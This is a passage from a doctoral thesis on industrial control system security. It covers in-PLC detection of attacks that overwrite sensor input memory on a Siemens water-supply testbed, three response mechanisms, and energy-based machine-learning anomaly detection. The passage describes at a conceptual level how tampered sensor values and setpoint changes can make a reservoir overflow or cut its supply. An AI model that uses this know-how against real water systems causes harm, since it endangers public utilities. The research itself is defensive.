process has been already affected. Figure 5.4 shows the water level in the reservoir 

tank when the attack described above is executed. The x-axis shows the time elapsed 

and the y-axis shows the readings from the ultrasonic sensor. The arrow shown in 

Figure 5.4 represents the start of the attack against the PLC memory. During the 

attack, the control process understands that the water level in the reservoir tank is 

below the required setpoint, for that reason the pump starts working at its 

maximum speed. The dotted line shown in Figure 5.4 represents the value sent by 

the attacker to the input memory addressed to the ultrasonic sensor, while, the 

continuous blue line shows the actual water level in the reservoir tank.  
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Figure 5.4 Attack to the ultrasonic sensor 

 

 

 

 

 

 

 

 

In this chapter, different mechanisms are proposed to respond to attacks to 

the input memory of the PLC, intending to reduce the impact of the attack. The use 

of optimized datablocks is introduced to minimize the attacks to the input memory 

in addition to different control techniques for attack response. 

A.  Optimised datablocks 

S7-1200/1500 controllers have optimized data storage. This feature 

automatically rearranges the data inside the block with the intention of using less 

memory space. This assures that unused spaces between the data types are reduced 

to minimum, hence, the PLC processor improves access time to memory. Figure 5.5 

shows the difference regarding data storage in standard and optimized blocks in the 

PLC. In standard mode the complete byte is read and masked per bit access, whereas, 

in optimized mode the access is faster due to the file storage being independent of 

the declaration(Siemens, 2019) .  
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Figure 5.5 S7-1200/1500 standard and optimized blocks 

 

 

 

 

 

 

 

The attack on the PLC memory overwrites the correct readings from the 

sensor involved in the control process with the values injected by the attacker. The 

first mechanism of response implemented is to copy the values obtained at the 

beginning of the PLC scan into an optimised datablock and then use those values 

during the entire PLC scan. The advantage of using optimized datablocks is that the 

allocation of this information in the PLC memory is randomized, thereby, the 

attacker does not know its exact location. This memory optimization function is a 

feature available in Siemens PLC’s. 

B. Auto-controller selection 

The second mechanism of response is to switch between the control 

techniques based on the under attack sensors. Chapter 4 has a section dedicated to 

the different controllers implemented in CWSS testbed. For instance, if the control 

process is operating with a cascade control technique using the flow_in and the 

ultrasonic sensor when the attacker targets the space of memory addressed to the 

ultrasonic sensor and overwrites it with the invalid values, the control system 

detects the attack and isolates the information originated from that space of 

memory. The next action is to replace the ultrasonic sensor with the pressure_in 

sensor and continue with the system operation. The attacker may understand how 
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this mechanism of response operates and start attacking the ultrasonic and flow_in 

sensors. The immediate action of the PLC is to switch the control technique to PID 

using the pressure_in sensor. It is possible to switch to different control techniques 

such as PID, Cascade and FeedForward when an attack compromises the related 

sensors involved in the technique. The last mechanism of response when an attack 

on the PLC memory is detected and there are no other mechanisms available 

because all the sensors have been compromised is to set the pump into a fixed speed. 

C. Data from the analogue channel 

The third mechanism of response involves copying the values of the analogue 

sensors directly from the analogue channel into an optimized datablock. This 

mechanism is similar to the first detection technique, optimized datablocks, 

previously explained. However, in this case, the space of memory assigned to 

analogue input channel in the PLC has the property of being read-only, for instance, 

direct from the A/D process. When the attack is detected the internal code of the 

PLC discard the values obtained directly from the input memory and starts using the 

values obtained from the analogue channel. The advantage of this mechanism of 

response relies on the fact that an attack and a sensor failure can be differentiated 

because the values obtained from the PLC memory and the signal converter can be 

compared. When those values are significantly different, it can be concluded that the 

PLC memory has been overwritten. Alternatively, when both values are identical, 

then it can be concluded that it is a sensor failure, which is considered a 

false/positive alarm. 

5.4 Results 

A set of attacks to the input memory of the Siemens PLC (SIMATIC S7-1500), 

described in Chapter 3 are used to test the proposed detection techniques. The 

results obtained are described below. 

5.4.1 Optimised datablocks 

The first proposed response mechanism against attacks on the memory of the 

PLC, which is optimized data blocks, shows the feasibility of minimizing the impact 
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Figure 5.6 First mechanism of response to memory attacks 

of the attack to the input memory, even if the control process is slightly affected. 

Figure 5.6 shows the monitoring of the ultrasonic level sensor during normal 

operation and when the input memory of the ultrasonic level sensor is under attack. 

The readings obtained by the ultrasonic level sensor show that the water level inside 

the tank increases in half a litre during the execution of the attack, however, the 

water level does not increase exponentially as shown in Figure 5.4 when no 

mechanism of defence is in place. It can be argued that the signal shown in Figure 

5.6 has some similarity to signals that are affected by the effects of disturbances 

generated by vibrations, noise or environmental effects such as humidity. However, 

it should be considered that there are control mechanisms that can minimize the 

effect of such disturbances. On the contrary, in our scenario, the attacker overwrites 

continuously and for longer periods in the input memory of the PLC. Besides, the 

attacker can enter values that deviate from the threshold that disturbances can 

reach. For example, the attacker could enter values of 0 or 23500 into the input 

memory addressed to the ultrasonic sensor, which is unlikely in a disturbance. 

According to the results obtained during the experimentation process, the 

attacker can enter 48% of erroneous values in the memory of the PLC. As can be 

seen in figure 5.6, the control system shows an increase and decrease in the water 

level during the execution of the attack. This same behaviour can be seen in the 

pump, which increases and decreases its speed depending on the values received 

from the controller. Although the control system is not visibly affected, the pump 

may suffer irreversible damage due to this behaviour, which may result in stopping 

its operation. 
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5.4.2 Auto-controller selection 

The techniques implemented in our CWSS physical testbed are cascade, PID 

and feedforward. The cascade controller is used when our testbed runs for the first 

time. We use this controller strategy as its performance exceeds the rest of the 

controllers. The controllers as well as the sensors used in our testbed are shown in 

figure 5.1 on page 108. The second mechanism of response to attacks to the input 

memory of the PLC automatically selects the controller strategy depending on the 

availability of the sensors. Figure 5.7 shows the monitoring of the ultrasonic level 

sensor when the process under control starts with the cascade controller using the 

flow_in sensor for the inner controller and the ultrasonic level sensor for the outer 

controller. In the first attack, the intruder starts overwriting the values of the input 

memory addressed to the flow_in sensor. When our novel attack detection 

mechanism coded in the PLC detects the attack, it switches automatically to the PID 

controller using the ultrasonic sensor and discarding the flow_in values as shown in 

Figure 5.7, controlling the pump speed directly. The water level in the reservoir tank 

increases by approximately half a litre during the execution of the first attack, then 

returns to the original setpoint when the detection and response mechanism coded 

in the PLC comes into operation.  

The intruder realizes that his first attempt failed, therefore on his second 

attempt he attacks the memory spaces addressed to the flow_in and the ultrasonic 

level sensor. Our attack detection and response mechanism can no longer use the 

cascade or PID controller, that uses the ultrasonic level sensor, because both sensors 

are compromised. However, there are still sensors available that can be used for the 

operation of our testbed. For example, we can put into operation the PID controller 

that uses the pressure_out sensor as the pressure is directly related to the water 

level. In this way, our testbed can continue operating even if it is under attack. It 

must be considered that our novel attack detection mechanism coded in the PLC will 

use all possible combinations of controllers in order to continue the operation of the 

control system. In the event that no controller combinations are available, the pump 

comes into operation at a fixed speed of 60% in our scenario. 
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Figure 5.7 Second mechanism of response to memory attacks 

 

 

 

 

 

 

 

 

 

5.4.3 Data from analogue channel 

The third response mechanism, which is reading data from the analogue 

channel, shows that copying the sensors values directly from the analogue channel 

reduces the impact of the attack to zero. However, by doing so a small overhead will 

be added to the control loop processing time because making a copy from the 

sensor’s readings directly will increase the control operation time. For example, the 

CPU 317-2 DP is one of the fastest CPUs for the S7-300 series and it takes 0.05 𝜇𝑠 in 

reading one value from the process image, whereas, it takes 15.01 𝜇𝑠 in reading from 

the peripheral address (Siemenes, 2011). However, as the loop control is executed 

every 100mS this is unlikely to have any operational affect. 

Most of the control applications including the testbed implemented for this 

research, would not be affected from this short overhead because it can allow some 

time delay in the process which makes the response to the input memory attacks 

feasible. However, in high speed applications such as manufacturing process, this 

overhead might be significant which could represent performance losses. Figure 5.8 

shows the signal from the ultrasonic sensor and the points where the intruder 

executes the attack and the response from the PLC. The attack does not affect the 

operation of the system and it maintains the water level in the desired setpoint. 
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Figure 5.8 Third mechanism of response to memory attacks. 

 

 

 

 

 

 

 

 

 

 

5.5 Discussion 

In this section, the research questions stated at the beginning of this Chapter 

are addressed as follows. 

Research Question 1: How do cyber-attacks to the memory of the PLC affect the 

control process operation? 

The PLC is able to receive and transform electrical signals, from the sensors 

involved in the control process, in numerical values through the A/D converter. 

These numerical values are stored in spaces of memory addressed to the inputs in 

the PLC. The control techniques such as PID, Cascade and Feedforward perform 

operations with those values and drive actuators connected to the PLC outputs. 

When an attacker has an access to the system and overwrites the spaces of memory 

addressed to the input memory of the PLC, the implemented control techniques 

perform operations with tampered values, as a result, the devices driven by the PLC 

are affected. For instance, the attacker can overwrite the memory space addressed 

to the ultrasonic level sensor with values that indicate a minimum water level, for 

example 1 or 2 litres in our implemented scenario. The controller will increase the 



Industrial Control Systems Cybersecurity Analysis and Countermeasures 
Chapter 5: PLC Memory Attack Detection and Response Using an Embedded PLC Code 
 

  

Andres Santiago Robles Durazno  2021  Page 131 

speed of the pump which results in an increase in the water level in the reservoir 

tank until the attack stops. Hence, the reservoir tank might overflow. 

 

Research Question 2: Is it possible to minimize the impact of cyber-attacks to 

control systems using control methods? 

It was demonstrated that it is possible to minimize the impact of attacks on the 

testbed implemented in this research by embedding in the PLC a mechanism of 

attack detection and response. When an intruder overwrites the PLC input memory, 

the PLC detects the attack and writes the values obtained from the sensors in an 

optimized datablock. These values are used through the entire PLC cycle reducing 

the impact of the attack. This technique is feasible because the attacker is not as fast 

as the PLC cycle. Thus, in some scans, the PLC will copy correct values and in some, 

the PLC will be affected by the attacker. For instance, the intruder performs an attack 

to the input memory addressed to the ultrasonic sensor, when the attack is detected 

the PLC copies the values from the input memory and uses the same value during 

the entire cycle. In the experimentation section of this chapter, we show that the 

attack is still present and disturbs the level of the water tank, however, the system 

operation continues. It should be noted that an alarm is raised when the attack is 

detected giving time to the operator to apply a manual action that stops the attack. 

In addition, this technique is feasible given that the memory optimization feature 

available on Siemens PLC is used which allows the allocation of information in the 

PLC memory in an address defined internally by the PLC. 

RQ3: What countermeasures could be taken into consideration to continue with the 

operation of a control system when a cyber-attack is detected? 

In this research, it was analysed and implemented an algorithm that detects 

and respond to attacks to a PLC memory. To achieve this, a set of different control 

techniques involving the sensors available was implemented. Thus, when an 

intruder executes an attack from a single-point to one sensor, the algorithm of 

detection and response isolates the sensor compromised and analyses the possible 
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control techniques combinations. The control techniques are fully explained in 

Chapter 4. 

5.6 Conclusions 

In this chapter, we propose a novel attack detection mechanism that is coded 

inside a PLC. We provide the results of the experiments carried out in the CWSS 

physical testbed. We analyse the impact of network attacks on the area of memory 

addressed to the PLC inputs. The attacks performed in this research shows that it is 

possible to disrupt the control system operation bringing the system to an unstable 

state. The attacks are performed to the input memory of the PLC; however, it should 

be noted that it is also possible to execute the same attacks to the PLC output. For 

instance, the attacker could drive the pump at different speeds by overwriting the 

space of memory addressed to it. The same mechanism of defence which is 

implemented in this Chapter to detect the attacks to the inputs could be used to 

detect the attacks to the output; however, until now we have not found a mechanism 

of response that mitigates those attacks. Current research does not analyse the 

potential damage of performing these types of attacks. The main reason could be 

that most of the research is based on theoretical analysis only and the cost of 

implementing physical testbeds for research purposes is significantly high.  

Most of the current research for attack detection on industrial control systems 

focused on detecting anomalies in the control network traffic and then alerting 

about possible intrusions. Unlike other approaches, our mechanism of detection and 

response to attacks to the PLC memory is implemented in the PLC itself, meaning 

that external equipment is not required for detecting the cyber-attacks leading to 

reduce the response time and overall cost. The results obtained from the 

mechanisms of response to attacks shows that obtaining the sensor readings 

directly from the analogue channel allows us to minimize the impact of the attacks 

to the input memory, however, it should be considered that performing this action 

add a small delay in the control system operation. It can be argued that the testbed 

implemented here is not affected for small delays, however, in a control process 

where the time of response is critical this mechanism of response might not be 

adequate.  
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Our mechanism of detection and response relies on the fact that Siemens 

controllers have a feature called memory optimization available from the Simatic 

S7-1200 onwards. This feature does not have a specifically defined structure. The 

data elements receive only one symbolic name in the declaration and no fixed 

address in the block which makes difficult for an attacker to access that information. 

We would, therefore, encourage designers to use function blocks as much as 

possible in their scheme to minimize the susceptibility to attacks to the input 

memory. In addition, the hardware design should also consider redundant sensor 

architecture aiming to switch the control strategies in case an attack is detected. We 

want to encourage the cyber-security and control practitioners to collaborate and 

analyse this challenging topic from computer science and control engineering point 

of view. 
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Chapter 6:  Newly engineered energy-based features for 
supervised anomaly detection on Industrial 
Control Systems 

6.1 Introduction 

This chapter proposes an anomaly detection technique for Industrial 

Control Systems based on a novel set of newly energy-based features 

for machine learning classifications that were not obtained from a 

network traffic nor from a data logger. Most of the current related 

work explores anomaly detection mechanisms based on the 

information obtained from a network traffic or data loggers. Our 

proposed features are obtained from the INA219 current sensor 

which is hard-wired to the PLC interface wiring that compose the 

CWSS physical Testbed described in Chapter 4. The first part of this 

chapter shows a proof of concept of the proposed approach that 

demonstrates the feasibility of using energy-based features for 

anomaly detection.  The proof of concept is tested on the original 

version of the Festo Rig. The second part of this chapter uses our 

customised version of the Festo Rig to continue the development of 

the energy-based approach. The reason to propose the customised 

version of the Festo Rig is to make the implemented control process 

more realistic. Having a physical implementation allows us to face 

scenarios and elements that are not present in virtual 

implementations such as the presence of noise or humidity. Those 

elements may add undesired disturbances to the dataset collected 

from the testbed. We apply a set of well-known machine learning 

algorithms to demonstrate the feasibility of our proposed energy-

based features in our novel dataset. The output of our proof of concept 

was publish in the IEEE International Conference on Cyber Security 

and Protection of Digital Services  and the results of the second part of 

the investigation are under review in Computer & Security Journal 

from Elsevier. 
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6.2 Research approach 

In this chapter, the feasibility of detecting cyber-attacks against Industrial 

Control Systems with a particular focus on a clean water supply system by using an 

energy-based machine learning approach is demonstrated. Besides, the aim is to 

demonstrate the importance of the feature selection process on the performance of 

the machine learning algorithms. To achieve these objectives, we outline the 

following hypothesis. 

 

Hypothesis 1. The newly engineered energy-based features obtained from 

monitoring the energy consumption of sensors and actuators that compose an ICS 

allows the detection of anomalies by using supervised machine learning algorithms. 

Hypothesis 2. The newly energy-based dataset collected from the physical testbed 

contains features that do not contribute to the metrics of a predictive model, making 

them less relevant than others. 

6.3 Energy-based monitoring approach 

As discussed in the literature review, the concept of energy-based monitoring 

has been widely used in computer science for anomaly detection purposes, 

although, the same cannot be said for industrial applications. In this chapter, we 

propose a novel set of features for anomaly detection in industrial control systems. 

These features are obtained from the sensors and actuators that compose the 

control system. To test this concept, we implemented a water supply system in the 

default configuration of the Festo Rig, which was described in Chapter 4. The 

features are obtained by means of the INA219 current sensor and a raspberry pi 4. 

Figure 6.1 shows the process of collecting the energy-based features. The INA219 

current sensor is hard-wired between the PLC and the sensors that compose the 

control system. The values obtained from the INA219 sensor are collected on the 

Raspberry Pi using the I2C bus (I2C, 2020). This process will be explained in more 

detail in the following sections of this chapter. 
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Figure 6.1 Collection of energy-based features. 

 

 

 

 

 

 

 

 

6.3.1 INA219 sensor 

The INA219 sensor is a breakout board that measures voltage and current. It 

can measure up to 26v and ±3.2A. It is powered with 3v to 5V, and it has I2C pins 

(Adafruit, 2018). As a proof of concept, we initially collected the power consumption 

of two devices: the pump and the solenoid valve by means of the INA219 sensor. 

This sensor was used as a similar one was successfully applied in a previous 

industrial control research (Hernández Jiménez et al., 2017; Hoffmann et al., 2013). 

Measuring the current of the pump and the solenoid valve requires breaking its 

circuits and connecting the INA219 sensor as part of the electric circuit. The pump 

has an independent motor controller, thereby; the INA219 sensor is wired to it in 

order to obtain the energy used by the pump. The solenoid valve is connected to a 

digital output of the PLC. To monitor the operation from the solenoid valve, the 

INA219 is wired to this output of the PLC, because unlike the pump the valve does 

not have an independent controller. 

6.3.2 Raspberry PI 

The raspberry pi is a single-board computer that runs the Linux-based 

operating system (Pi, 2019). It can run multiple tasks, unlike Arduino board 

(ARDUINO, 2019). The raspberry pi3 collects the information obtained by the 
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Figure 6.2 Testbed and festo rig diagram 

INA219 sensors through the I2C bus. Each INA219 sensor is allocated its own I2C 

address to identify the sensor. The address jumpers of the INA219 sensor is set by a 

drop of soldering between them (Adafruit, 2018). 

6.3.3 Testbed components 

Figure 6.2 shows the testbed and it is provided to help you understand the 

following sections of this chapter. It consists of the following components:  

• Festo MPA Process Control Rig.  
• Human Machine Interface 

(HMI). 
• Switch. 
• PLC Simatic S7-1500. 
• Two INA219 current sensors. 

• One Raspberry PI3. 
• One desktop computer with 

TIA Portal V14. 
• One laptop with Linux 

operating system. 

 

 

 

 

 

 

 

 

D. Normal and attack scenarios 

This testbed simulates an uninterrupted clean water supply system. In a 

normal operation, the B102 tank, shown in Figure 6.2, represents a reservoir of 

water to be maintained at a specified level. The B101 tank contains the water supply 

simulating the natural water table and feeds B102 tank through the variable speed 

pump (P101). The valve V110 is slightly open representing a constant demand for 

water. During peak times, the solenoid valve V102 represents a high water demand. 

The solenoid valve V102 opens for two minutes every three minutes. For our attack 
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scenario, we assume that the attacker has access to the industrial network; he can 

communicate with the PLC and execute attacks in the network such as Man-In-The-

Middle, to tamper with the information displayed in the HMI. Thus, the attacker will 

send commands to the PLC and modify its operation; meanwhile, the operator will 

not be able to notice these modifications because the HMI shows the information 

that has already been modified by the attacker.  

The aim of the attacker is to disrupt the water supply in a small town by 

reducing the amount of water in the reservoir tank. To achieve this goal the attacker 

modifies the PLC memory that holds the value of the water level set point in the tank. 

The attack is performed against the PLC over the network which results in modifying 

the space of memory on the PLC that contains the set point of the reservoir tank.  

6.3.4 Machine learning algorithms 

We applied three supervised machine learning algorithms performing 

classification tasks on the energy-based datasets obtained from the Festo MPA 

Process Control Rig. The algorithms are KNN(F. Zhang et al., 2019; Zhe Zhou et al., 

2016), SVM (O’Kane et al., 2013; Terai et al., 2017) and Random Forest (Teixeira et 

al., 2018; Wang et al., 2019) that were fully explained in Chapter 2. We chose these 

algorithms because they have been applied in similar research as it can be seen in 

Chapter 2. Each algorithm has different parameters that can be tuned in order to 

improve its performance (Cui et al., 2017). We tuned each algorithm with the 

optimal parameters based on the highest accuracy and F-measure. We avoid 

overfitting by using a resample technique (K-fold cross validation) in order to 

estimate the model accuracy. The next section provides the classified results using 

optimal parameters to compare them fairly.  

A. Datasets 

The dataset contains the information collected by the sensors INA219 wired 

in the Festo MPA Process Control Rig. Each sensor provides four features: 

• Voltage. The voltage at the pump and the valve. 
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• Current. The current flowing in the pump and the valve solenoid. 

• Energy Consumption. The amount of energy or power used by the pump 

and the valve. 

• Voltage in shunt resistor. Calculates the current by measuring the voltage 

dropped across the known shunt resistor. 

We considered three different scenarios as reflected in the datasets shown in 

Table 6.1. In the first case, we collected information from the INA219 sensor that 

monitors the energy of the pump for a short period of time. In the second scenario, 

we run the simulation for the same time period as the first simulation, however, we 

added a new INA219 sensor in the solenoid valve aiming to increase the number of 

features. In the third scenario, we continued to use two INA219 sensors but doubled 

the simulation time, compared to the first two simulations, with the intention of 

increasing the number of instances in the dataset. The results obtained from these 

three scenarios allow us to find the relationship between the number of 

characteristics and instances with the metrics, such as accuracy, obtained from the 

machine learning algorithms. The attacks were generated randomly during the 

system operation.  

Table 6.1 Dataset summary 

Case Dataset Characteristics 

Instances Features INA219 

sensors 

Training 

Data 

Testing 

Data Case I 3547 5 1 2341 1206 

Case II 6907 9 2 4558 2349 

Case III 13252 9 2 8746 4506 

 

B. Data preprocessing 

Machine learning algorithms learn from data. Data preprocessing is an 

important step although it is less known than other steps such as data mining 

(Aburomman & Ibne Reaz, 2016). Usually, the raw data comes with imperfections 

like missing values, inconsistencies, and/ or noise. Those imperfections can degrade 

the performance of machine-learning algorithms. The performance of the machine 

learning algorithms depends on the quality of the pre-processed data (Nugrahaeni 
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& Mutijarsa, 2017). The data-pre-processing phase can be summarized in the 

following steps: 

Selecting the data: Sometimes all the collected data is not useful. Additionally, 

selecting the right features usually has an impact on the results expected by the 

machine learning algorithm (Zhe Zhou et al., 2016). The current sensor INA219 

provides four features. We removed the voltage feature from the pump because the 

value is constant either under attack or normal operation. At the end, we add class 

feature in each dataset which identifies each instance either as malicious or benign. 

It is considered malicious if it is in the timeframe that the reservoir tank setpoint is 

modified.   

 

Preprocessing the data: The raspberry pi collects and writes the values from the 

current sensors in an ARFF file format, which, is the file format used by WEKA 

(WEKA, 2020). Another point to consider at this stage is that our data does not have 

any missing values that might affect the performance of the algorithm.  

 

Transforming the data: Processing raw data through machine learning algorithms 

usually is not a good practice. Each machine learning algorithm has its own 

requirements regarding preprocessing data. For instance, the KNN algorithm shows 

better performance when the input data is normalized (Aburomman & Ibne Reaz, 

2016). We applied normalization and standardization techniques to the three 

datasets obtained in the testbed. Also, the datasets obtained from the testbed show 

unbalanced classes, therefore it can bring inaccurate results when training the 

model. To address this, we evaluate machine learning outcomes using metrics for 

unbalanced data sets like F-Measure. We manually add a class feature in the datasets 

that identifies whether an instance is malicious or benign. It is considered malicious 

if the feature is captured during the timeframe that the reservoir tank setpoint is 

modified.  
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Figure 6.3 Testbed and festo rig diagram 

C. Results 

We employed WEKA machine learning and data mining software because it is 

widely used, and it provides an extensive number of algorithms for testing 

purposes. The algorithms chosen for this test were KNN, SVM and Random. Figure 

6.3 shows the energy consumption from the pump and the valve under normal and 

attack conditions. The parallel red lines in Figure 6.3 show the execution of an 

attack. When the control system is operating under normal conditions the pattern 

of energy is stable, however, when the set point from the reservoir tank is modified 

by the attacker the energy consumption in the pump changes as it can be seen in 

Figure 6.3. The attacker does not manipulate the solenoid valve in this scenario. It 

should be considered that this attack will affect the distribution of water in a real 

scenario because the operator does not notice the changes in the reservoir tank 

setpoint while he/she is monitoring system.   

 

 

 

 

 

 

 

 

 

Figures 6.4 to 6.6 show the results of the three algorithms performing 

classification tasks on our three pre-processed datasets. The test for the KNN 

algorithm was performed using the following distances: Euclidean, Manhattan, 

Minkowski, and K distances from zero to ten. The chosen distance parameter did 

not affect the results of precision, accuracy and recall; instead, it increased and 
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Figure 6.4 SVM performance 

Figure 6.5 KNN performance 

decreased the time to build the model. When the k-neighbour parameter changes 

the results slightly change. The SVM algorithm shows different results depending 

on the selected kernel. We tested SVM algorithm with the following kernels: 

Polynomial, normalized polynomial, Pearson VII, and radial basis function. Figure 

6.4 shows the result of Pearson VII kernel function (PUK) and Figure 6.5 shows that 

Random Forest algorithm which presents a better result compared with the other 

two algorithms. For Random Forest algorithm, we modified the parameter depth 

which represents the depth of each three in the forest. The deeper the three the 

more splits it has as it captures more information. The parameter was modified 

from 0 to 10 during our experimentation process. The default depth of 2 was shown 

the best result.  
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Figure 6.6 Random forest performance 

 

 

 

 

 

 

Table 6.2 presents a summary of the time taken to build the model for each 

case (case I to case III). SVM takes much longer time than the rest of the algorithms. 

This is because the number of kernel evaluations that perform in this algorithm 

increases by the amount of data in the dataset. For instance, the difference between 

the first and the third case regarding the number of kernel evaluations is about one 

thousand million, which results in 131.93 seconds of difference between them.  KNN 

is one of the most simplistic algorithms and the fastest compared with SVM and 

Random Forest. It only computes the distance with the K-nearest neighbour and 

does not show considerable variation among the datasets.  Accuracy provides an 

intuitive performance measure and it is the number of correct predictions over the 

total observations, however, accuracy alone is not the only metric to consider 

during the performance evaluation (Nugrahaeni & Mutijarsa, 2017).   

 

Table 6.2 Overview of time metrics 

 

 

 

 

 

 

Algorithm  
Time taken to build the 

model  
Case I  Case II  Case III  

SVM  5.57s  31.15s  137.43s  
KNN  0s  0s  0.1s  
Random 

Forest  
0.73s  0.1s  3.63s  
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Table 6.3 F-Measure 

Algorithm   F-Measure  

Case I  Case II  Case  
III  

SVM  69%  85%  87%  
KNN  71%  85%  87%  
Random Forest  76%  86%  91%  

 

 

Table 6.3 shows the results in terms of F-measure, which is the weighted 

average of precision and recall. F-measure is more useful than accuracy, although, 

it happens in unbalanced class distributions only (Yau et al., 2017). The results show 

that Random Forest achieves 75% of accuracy with the smallest dataset and 91% 

when the data and attributes increased. In general, the three algorithms increase in 

accuracy as the data is increased, which is comparative with how humans learn. 

This means better knowledge with more data. We use statistical significance to 

choose the best algorithm for each dataset. It can be said that the statistical 

significance value depends on the criticality of the data. Thereby, we choose 0.03 

given that the testbed represents a clean water supply system as a critical 

infrastructure. The null hypothesis for this chapter states that the three algorithms 

perform the same. Bearing that in mind, in case I, Random Forest outperforms KNN 

by 5% and SVM by 3%. In case II, three algorithms perform the same but in Case III, 

Random Forest presents the best performance again by 4% in comparison with 

KNN and SVM. The results are similar to the accuracy presented in Figure 6.4 to 

Figure 6.6 given the balanced datasets. 

 

The first publication of this research contains the results obtained from the 

first version of Festo MPA Process Control Rig for the proof of concept as explained 

above. This experimentation is basic and simple; however, it demonstrates the 

feasibility of detecting anomalies in a control system only by monitoring the sensors 

and actuators involved in the process. Therefore, we decided to expand the concept 

of energy monitoring due to the successful results obtained during the above 

experiments. For this reason, we modified the original version of the Festo rig 

making the control process more realistic. We also designed a more sophisticated 
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set of attacks. The steps carried out during the second phase of the investigation are 

described in detail below. 

 

6.4 Newly engineered energy-based dataset 

In the previous section, we demonstrate that the cyber attack detection in 

industrial control systems is possible through energy monitoring of sensors and 

actuators. To expand this concept, we added four INA219 sensors in the 

components of the CWSS physical testbed implemented in the modified version of 

the Festo rig explained in Chapter 4 which makes the energy-based dataset obtained 

from the testbed containing a greater number of features. It should be noted that 

the modifications to the Festo Rig allow us to implement a more realistic control 

process in comparison with its default configuration given that we can develop 

water demand models for different days of a week instead of a fixed demand model 

like the one used in our first physical testbed. The most popular data sets that were 

obtained from testbeds similar to our CWSS implementations are discussed below. 

 

6.4.1 ICS datasets 

ICSs are frequently used in critical infrastructures and large-scale industrial 

processes such as transportation, energy, water, oil, gas, and communication 

systems. Nations worldwide rely heavily on the operation of their critical 

infrastructures, that the interruption or destruction of these would have a 

significant impact on the national security, health system or public life. The water 

distribution system is an example of a critical infrastructure that operates 24/7 

hours and whose disruption would cause discomfort for the nation. This non-

disruptive nature of an ICS causes scientists and researchers to have limited or no 

access to its facilities, validating the use of physical, hybrid, or virtual testbeds. 

SWaT (Mathur & Tippenhauer, 2016) and WADI (Ahmed et al., 2017) are the 

most common physical testbeds employed for the cybersecurity analysis of water 

treatment/clean water supply systems. The majority of the research in the field are 
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based on these two physical systems, either by having a direct access to them or by 

having access to the associated datasets generated under malicious and benign 

scenarios. The two testbeds are also the closest existing work to the research 

described in this thesis. Given that, a dataset has been generated from the Clean 

Water Supply System (CWSS) implemented in Chapter 4, to advance research in the 

field, the review comparison of the three datasets (SWaT, WADI and our CWSS) is as 

follows. 

The SWaT testbed was developed by the iTrust Center for Research in Cyber 

Security at the Singapore University of Technology and Design (SUDU) (iTrust, 

2018). SWaT represents a scaled-down version of a water treatment plant that 

produces 5 gallons of water per minute. The SWaT dataset is composed of the 

network traffic of 51 sensors and actuators during seven days of normal operation. 

The normal operation corresponds to the starting and stabilization of the plant. A 

total of 41 attacks were executed during four days of operation.  

The WADI is a testbed that simulates a scaled-down water distribution system. 

It was developed and implemented by the same creators of SWaT. The WADI testbed 

includes a large number of tanks that supply water to customer tanks. The dataset 

contains events obtained from 123 sensors and actuators during fourteen days of 

normal operation over which a total of 15 attack scenarios were executed. 

The CWSS testbed simulates a model of a clean water supply system in the 

Festo MPA Compact Workstation rig. The CWSS physical testbed includes 7 sensors 

and actuators that operate for one day. Further, 7 attacks were executed against the 

testbed during 11 hours of operation. The dataset contains energy features obtained 

from the INA219 current sensor and hard-wired between the PLC and 

sensors/actuators composing the physical system. 

In terms of network protocol, CWSS testbed implements Profinet (Feld, n.d.), 

which is an industrial standard for data communication over TCP/IP, while SWaT 

employs Modbus TCP (Qing Liu & Yingmei Li, 2006) and WADI devices CIP over 

Ethernet/IP. Modbus TCP is a protocol with vulnerabilities (Kwon, Taeyean and Lee, 

Jaehoon and Yi, 2016) e.g. it lacks adequate security checks in communication 
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between two endpoints which could allow an unauthenticated remote attacker to 

send random commands against any slave device using the MODBUS master. 

However, Profinet protocol provides more secure communication and is becoming 

one of the most widely used standard in ICS. Therefore, from an attacker’s point of 

view, it is more difficult to issue cyber-attacks against a system which implements 

Profinet (i.e. our CWSS) rather than Modbus TCP (i.e. SWaT). 

Furthermore, SWaT and WADI datasets are based on basic and traditional 

network-based attacks such as ARP spoofing and Man-In-The-Middle attacks for 

which we already have many protections (Singh et al., 2016). For example, static 

ARP entries, encryption, VPN, packet filters, HTTPS, public key pair authentication 

and many Instruction Detection Systems (IDS) can easily stop these attacks. 

However, in CWSS testbed, it is implemented a novel set of attacks against the 

input/output and working memory of Siemens S7-1500 (Siemens, 2018) as 

described in Chapter 3. Siemens S7-1500 is one of the popular PLCs available on the 

market and used in industry at the moment. The features in the CWSS dataset are 

energy-based collected from the INA219 current sensor hard-wired between the 

PLC and sensors/actuators on a model of a clean water supply systems. Additionally, 

WADI does not provide details regarding network implementation over which 

malicious and benign scenarios have been issued and dataset has been generated 

while in CWSS this specification is fully explained. The implementation of cyber-

attacks against both WADI and SWaT is also unclear while this is fully detailed in 

CWSS implementations. These makes the CWSS dataset more understandable and 

more realistic in terms of collected features and events in comparison with SWaT 

and WADI datasets. 

In general, although the SWaT and WADI are bigger datasets captured over 

longer periods in comparison with CWSS, CWSS dataset has been collected under 

novel attacks against the input/output and working memory of a PLC currently used 

in industry, having more severe consequences on ICS, is more realistic in terms of 

attack novelty, consisting more difficult attacks from an attacker’s point of view, and 

does not need an attacker to have a full knowledge of the system. 
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6.4.2 CWSS dataset collection 

In this chapter, the energy-based dataset contains the energy traces of the 

sensors and actuators involved in the CWSS physical testbed described in Chapter 

4. To achieve this, the current sensor INA 219 (Adafruit, 2018) is wired to each one 

of the sensors and then collecting the data using a Raspberry PI 4 (Pi, 2019). The 

architecture of the testbed remains the same as shown in Figure 6.2 in page 131, 

except for the Festo Rig. We employed our customized version of the Rig which is 

described in detail in Chapter 4. The difference between the two versions of the 

Festo Rig is in the location of the proportional and sinusoidal valves. In our 

customized version, the proportional valve allows us to simulate a water demand 

just like that of a small town, while the sinusoidal valve acts as a non-return valve. 

Therefore, our customised version of the Festo Rig is more realistic.   

 

E. CWSS testbed, normal operation 

The CWSS testbed is described in detail in Chapter 4; however, the following 

is an overview of how it operates. The testbed simulates an uninterrupted clean 

water supply system using a customised version of the Festo MPS PA Compact 

Workstation shown in Figure 6.7. The B101 tank contains the water that supplies 

the reservoir tank (B102) through the variable speed (PUMP 101). The water 

demand from customers was modelled and implemented using the proportional 

valve (V106) of the Festo Rig. The water level in the reservoir tank (B102) is 

maintained at a setpoint defined by an operator.  

F. CWSS testbed, attack scenario 

A set of attacks to the memory of the PLC aiming to overwrite the input 

memory of the PLC were implemented; hence the normal operation of the control 

system is affected. The set of attacks employed during the collection of the power-

based dataset of the modified Festo Rig is more sophisticated than the attack 

implemented during the proof of concept explained at the beginning of this chapter. 

